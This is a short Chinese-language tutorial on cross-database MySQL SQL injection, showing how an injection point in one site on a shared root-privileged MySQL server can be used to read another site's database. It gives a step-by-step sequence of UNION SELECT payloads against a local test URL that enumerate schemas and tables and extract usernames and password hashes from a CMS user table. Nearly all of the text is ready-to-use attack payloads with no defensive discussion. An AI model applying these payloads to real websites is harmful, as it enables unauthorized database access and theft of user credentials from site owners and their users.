Mysql高权限跨库注入必备条件：root权限；
原理：网站 A 无注入点，网站 B 存在注入，网站 A 及网站 B 数据库存在统 一的mysql数据库中，这时我们可以利用网站 B 的注入点进去跨库注入获取网站 A 的数据。
1、查当前连接数据库名
127.0.0.1/test/sqlin.php?x=1 union select 1,database(),3,4
2、查询所有的数据库名
127.0.0.1/test/sqlin.php?x=1 union select 1,schema_name,3,4 from information_schema.schemata
3、获取指定数据库表名
127.0.0.1/test/sqlin.php?x=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='ekucms'
4、获取指定数据，例如用户名和密码
127.0.0.1/test/sqlin.php?x=1 union select 1,username,userpwd,4 from eku5jiw_user
如果按照上面这样查肯定会报错，因为我们是跨数据库的，正确的查询需要加上数据库，如下：
127.0.0.1/test/sqlin.php?x=1 union select 1,username,userpwd,4 from ekucms.eku5jiw_user
